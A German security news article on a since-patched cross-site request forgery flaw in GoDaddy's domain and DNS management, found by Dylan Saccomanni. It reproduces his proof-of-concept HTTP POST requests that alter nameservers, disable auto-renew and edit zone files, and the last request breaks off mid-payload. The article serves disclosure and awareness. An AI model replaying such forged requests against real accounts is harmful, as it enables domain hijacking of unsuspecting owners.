Sicherheit · 2 min read · Oct 05, 2025

GoDaddy behebt CSRF-Sicherheitsanfälligkeit, die gehostete Websites gefährden könnte

Table Of Contents

  • GoDaddy hat eine CSRF-Sicherheitsanfälligkeit behoben, die Angreifern erlaubt hätte, Domains zu übernehmen, die bei GoDaddy registriert sind
  • Fehler im DNS
  • Proof of Concept (PoC)
  • Patch

GoDaddy hat eine CSRF-Sicherheitsanfälligkeit behoben, die Angreifern erlaubt hätte, Domains zu übernehmen, die bei GoDaddy registriert sind

Während Dylan Saccomanni eine alte Domain verwaltete, die bei GoDaddy registriert war, bemerkte er, dass die Domain keinen Schutz gegen die Sicherheitsanfälligkeit der Cross-Site Request Forgery (CSRF) auf vielen ihrer Domains hatte. Diese Lücke war so schwerwiegend, dass ein Angreifer sie hätte nutzen können, um die gesamte Domain zu übernehmen, und das Opfer (Domainkäufer) würde nicht einmal wissen, was passiert ist. Die Sicherheitsanfälligkeit wurde inzwischen behoben.

Fehler im DNS

Saccomanni sagte, dass er den Fehler in den DNS-Verwaltungsaktionen von GoDaddy bemerkte. Die DNS-Verwaltungsaktionen auf der GoDaddy-Website sind zustandsverändernde POST-Anfragen (kein CSRF-Token im Anfragekörper oder in den Headern und keine Durchsetzung von Referer oder Content-Type).

POST-Anfragen, die der Server akzeptiert, behandeln die im Antrag enthaltene Entität als neues Unterelement der durch die URI identifizierten Webressource. Die gesendeten Daten könnten beispielsweise eine Anmerkung für vorhandene Ressourcen sein; eine Nachricht für ein schwarzes Brett, eine Newsgroup, eine Mailingliste oder einen Kommentar-Thread; ein Datenblock, der das Ergebnis der Übermittlung eines Webformulars an einen Datenverarbeitungsprozess ist; oder ein Element, das zu einer Datenbank hinzugefügt werden soll. Eine POST-Anfrage wird verwendet, um Daten an den Server zu senden, die auf irgendeine Weise verarbeitet werden sollen, wie durch ein CGI-Skript. Eine POST-Anfrage unterscheidet sich von einer GET-Anfrage in den folgenden Punkten:

  • Es gibt einen Datenblock, der mit der Anfrage im Nachrichtenkörper gesendet wird. Es gibt normalerweise zusätzliche Header, um diesen Nachrichtenkörper zu beschreiben, wie Content-Type: und Content-Length:.

  • Die Anfrage-URI ist keine Ressource, die abgerufen werden soll; es ist normalerweise ein Programm, das die Daten verarbeitet, die Sie senden.

  • Die HTTP-Antwort ist normalerweise Programmausgabe, keine statische Datei. Die häufigste Verwendung von POST ist es, HTML-Formulardaten an CGI-Skripte zu übermitteln.

POST-Nachrichten sollen ironischerweise Sicherheit für die Anfrage bieten.

Cross-Site Request Forgery (CSRF) ist eine Art von Angriff, der auftritt, wenn eine bösartige Website, E-Mail, Blog, Instant-Nachricht oder ein Programm den Webbrowser eines Benutzers dazu bringt, eine unerwünschte Aktion auf einer vertrauenswürdigen Website auszuführen, für die der Benutzer derzeit authentifiziert ist.

GoDaddy hatte jedoch keinen Schutz implementiert, sodass Saccomanni die Sicherheitsanfälligkeit leicht ausnutzen konnte. Saccomanni sagte: „Tatsächlich konnten Sie Nameserver bearbeiten, die Auto-Renew-Einstellungen ändern und die Zonendatei vollständig ohne jeglichen CSRF-Schutz im Anfragekörper oder in den Headern bearbeiten.“

Proof of Concept (PoC)

Der von Saccomanni bereitgestellte PoC ist unten wiedergegeben:

Nameserver

Hier ist die POST-Anfrage zum Speichern einer Bearbeitung der Nameserver:

POST /dcc50/Modals/DomainActions/NSManageWS.asmx/ValidateNameserver HTTP/1.1
Host: dcc.godaddy.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: de-DE,de;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 175
Cookie: [REDACTED]
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache {‘request’:’{“isall”:false,”nsobjs”:[{“ns”:”foo.example.com”,”ips”: [],”index”:0,”add”:1,”status”:””}, {“ns”:”bar.example.com”,”ips”: [],”index”:1,”add”:1,”status”:””}]}’}

Auto-Renew

Hier ist eine POST-Anfrage zum Ändern von Auto-Renew auf AUS:

POST /dcc50/Modals/DomainActions/AutoRenewWS.asmx/Commit HTTP/1.1
Host: dcc.godaddy.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: de-DE,de;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 71
Cookie: [REDACTED]
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache {‘request’:’{“isAutoRenew”:false,”isExtendedAR”:false,”extARYears”:0}’}

DNS-Zonendatei

Hier ist eine POST-Anfrage zum Bearbeiten von DNS-Einträgen im klassischen Manager:

POST /ZoneFile_WS.asmx/SaveRecords HTTP/1.1
Host: dns.godaddy.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: de-DE,de;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Content-Length: 922
Cookie: [REDACTED]
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache {“sInput”:”< PARAMS >< PARAM name=\

Share: X/Twitter LinkedIn

Erhalte neue Beiträge in deinem Posteingang.

Kein Spam. Jederzeit abmelden.